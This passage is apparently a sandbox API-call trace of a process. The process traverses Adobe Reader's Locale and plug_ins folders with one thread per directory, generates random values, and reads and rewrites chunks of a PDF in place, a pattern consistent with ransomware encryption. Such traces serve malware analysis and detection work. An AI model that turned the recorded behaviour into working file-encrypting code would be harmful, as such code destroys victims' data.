lpParameter=0x5ec78b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4 [0066.117] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0066.117] wcscmp (_String1="ro_RO", _String2=".") returned 1 [0066.117] wcscmp (_String1="ro_RO", _String2="..") returned 1 [0066.117] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7940 [0066.117] wcscpy (in: _Dest=0x5ec7940, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.117] wcscat (in: _Dest=0x5ec7940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.117] wcscat (in: _Dest=0x5ec7940, _Source="ro_RO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO" [0066.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xddc [0066.118] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0066.118] wcscmp (_String1="ru_RU", _String2=".") returned 1 [0066.118] wcscmp (_String1="ru_RU", _String2="..") returned 1 [0066.118] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec79c8 [0066.118] wcscpy (in: _Dest=0x5ec79c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.118] wcscat (in: _Dest=0x5ec79c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.119] wcscat (in: _Dest=0x5ec79c8, _Source="ru_RU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" [0066.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec79c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8 [0066.120] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0066.120] wcscmp (_String1="sk_SK", _String2=".") returned 1 [0066.120] wcscmp (_String1="sk_SK", _String2="..") returned 1 [0066.120] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7a50 [0066.120] wcscpy (in: _Dest=0x5ec7a50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.120] wcscat (in: _Dest=0x5ec7a50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.120] wcscat (in: _Dest=0x5ec7a50, _Source="sk_SK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK" [0066.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4 [0066.121] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0066.121] wcscmp (_String1="sl_SI", _String2=".") returned 1 [0066.121] wcscmp (_String1="sl_SI", _String2="..") returned 1 [0066.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7ad8 [0066.121] wcscpy (in: _Dest=0x5ec7ad8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.121] wcscat (in: _Dest=0x5ec7ad8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.121] wcscat (in: _Dest=0x5ec7ad8, _Source="sl_SI" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI" [0066.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0066.122] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0066.122] wcscmp (_String1="sv_SE", _String2=".") returned 1 [0066.122] wcscmp (_String1="sv_SE", _String2="..") returned 1 [0066.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7b60 [0066.122] wcscpy (in: _Dest=0x5ec7b60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.122] wcscat (in: _Dest=0x5ec7b60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.122] wcscat (in: _Dest=0x5ec7b60, _Source="sv_SE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE" [0066.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd9c [0066.124] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0066.124] wcscmp (_String1="tr_TR", _String2=".") returned 1 [0066.124] wcscmp (_String1="tr_TR", _String2="..") returned 1 [0066.124] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7be8 [0066.124] wcscpy (in: _Dest=0x5ec7be8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.124] wcscat (in: _Dest=0x5ec7be8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.124] wcscat (in: _Dest=0x5ec7be8, _Source="tr_TR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR" [0066.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94 [0066.125] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0066.125] wcscmp (_String1="uk_UA", _String2=".") returned 1 [0066.125] wcscmp (_String1="uk_UA", _String2="..") returned 1 [0066.125] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7c70 [0066.125] wcscpy (in: _Dest=0x5ec7c70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.125] wcscat (in: _Dest=0x5ec7c70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.125] wcscat (in: _Dest=0x5ec7c70, _Source="uk_UA" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA" [0066.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0066.127] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0066.127] wcscmp (_String1="zh_CN", _String2=".") returned 1 [0066.127] wcscmp (_String1="zh_CN", _String2="..") returned 1 [0066.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec7cf8 [0066.127] wcscpy (in: _Dest=0x5ec7cf8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.127] wcscat (in: _Dest=0x5ec7cf8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.127] wcscat (in: _Dest=0x5ec7cf8, _Source="zh_CN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN" [0066.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec7cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c [0066.579] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0066.579] wcscmp (_String1="zh_TW", _String2=".") returned 1 [0066.579] wcscmp (_String1="zh_TW", _String2="..") returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x19805508 [0066.580] wcscpy (in: _Dest=0x19805508, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0066.580] wcscat (in: _Dest=0x19805508, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\" [0066.580] wcscat (in: _Dest=0x19805508, _Source="zh_TW" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW" Thread: id = 576 os_tid = 0xff4 [0049.885] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf")) returned 0x20 [0058.878] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf", dwFileAttributes=0x20) returned 1 [0058.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1138 [0058.879] GetFileSizeEx (in: hFile=0x1138, lpFileSize=0xa97f864 | out: lpFileSize=0xa97f864*=468206) returned 1 [0058.879] SetFilePointerEx (in: hFile=0x1138, liDistanceToMove=0x724ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.880] ReadFile (in: hFile=0x1138, lpBuffer=0xa97f7e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa97f7e4, lpOverlapped=0x0 | out: lpBuffer=0xa97f7e8*, lpNumberOfBytesRead=0xa97f7e4*=0x4, lpOverlapped=0x0) returned 1 [0058.881] SetFilePointerEx (in: hFile=0x1138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9530 [0058.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9468 [0058.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93f0 [0058.881] NtQuerySystemTime (in: CurrentTime=0xa97f7c4 | out: CurrentTime=0xa97f7c4*=132174898228668000) returned 0x0 [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x25af4815 [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x74a33ce7 [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x236f055c [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0xfa39d86 [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x5c39ba0d [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x6997cfe9 [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x7918713 [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x21ce038c [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0xb2d16f3 [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x5bab5e1b [0058.881] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x6c5c1c13 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x6d60125f [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x63a332f2 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x2d6e75ed [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x642fd1ef [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x1e767ac2 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x64dccf62 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x2f4cc952 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x2d3e0679 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x1adcbc7f [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x4f3eb506 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x39130ce [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x72b55b90 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x6d97454c [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x5fbe2548 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x29e412ad [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x25717dc6 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x70e894f1 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0xf8a9be0 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0xc245c8e [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x1c59cef4 [0058.882] RtlRandomEx (in: Seed=0xa97f7d0 | out: Seed=0xa97f7d0) returned 0x4e31f10 [0058.894] SetFilePointerEx (in: hFile=0x1138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.894] ReadFile (in: hFile=0x1138, lpBuffer=0x96be6b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa97f77c, lpOverlapped=0x0 | out: lpBuffer=0x96be6b0*, lpNumberOfBytesRead=0xa97f77c*=0xc800, lpOverlapped=0x0) returned 1 [0058.896] SetFilePointerEx (in: hFile=0x1138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c048 [0058.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437328 [0058.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9530 [0058.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9530) returned 1 [0058.897] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96caeb8 [0058.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9530 [0058.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93f0 [0058.901] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e93f0) returned 1 [0058.901] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437328) returned 1 [0058.901] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c048) returned 1 [0058.901] WriteFile (in: hFile=0x1138, lpBuffer=0x96caeb8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa97f77c, lpOverlapped=0x0 | out: lpBuffer=0x96caeb8*, lpNumberOfBytesWritten=0xa97f77c*=0xc800, lpOverlapped=0x0) returned 1 [0062.247] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96caeb8) returned 1 [0062.247] SetFilePointerEx (in: hFile=0x1138, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.247] ReadFile (in: hFile=0x1138, lpBuffer=0x96be6b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa97f77c, lpOverlapped=0x0 | out: lpBuffer=0x96be6b0*, lpNumberOfBytesRead=0xa97f77c*=0xc800, lpOverlapped=0x0) returned 1 [0062.258] SetFilePointerEx (in: hFile=0x1138, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.258] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402a38 [0062.258] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.258] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9098 [0062.258] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9098) returned 1 [0062.259] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96caeb8 [0062.260] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9098 [0062.260] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9020 [0062.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9020) returned 1 [0062.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.260] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0062.260] WriteFile (in: hFile=0x1138, lpBuffer=0x96caeb8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa97f77c, lpOverlapped=0x0 | out: lpBuffer=0x96caeb8*, lpNumberOfBytesWritten=0xa97f77c*=0xc800, lpOverlapped=0x0) returned 1 [0066.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96caeb8) returned 1 [0066.619] SetFilePointerEx (in: hFile=0x1138, liDistanceToMove=0x65cee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.619] ReadFile (hFile=0x1138, lpBuffer=0x96be6b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa97f77c, lpOverlapped=0x0) Thread: id = 577 os_tid = 0xff8 [0049.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45f0b8 [0049.885] wcscpy (in: _Dest=0x45f0b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0049.885] wcscat (in: _Dest=0x45f0b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0049.886] wcscat (in: _Dest=0x45f0b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*" [0049.886] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b74c0 [0049.886] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440420 [0049.886] wcscmp (_String1=".", _String2=".") returned 0 [0049.886] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x10, 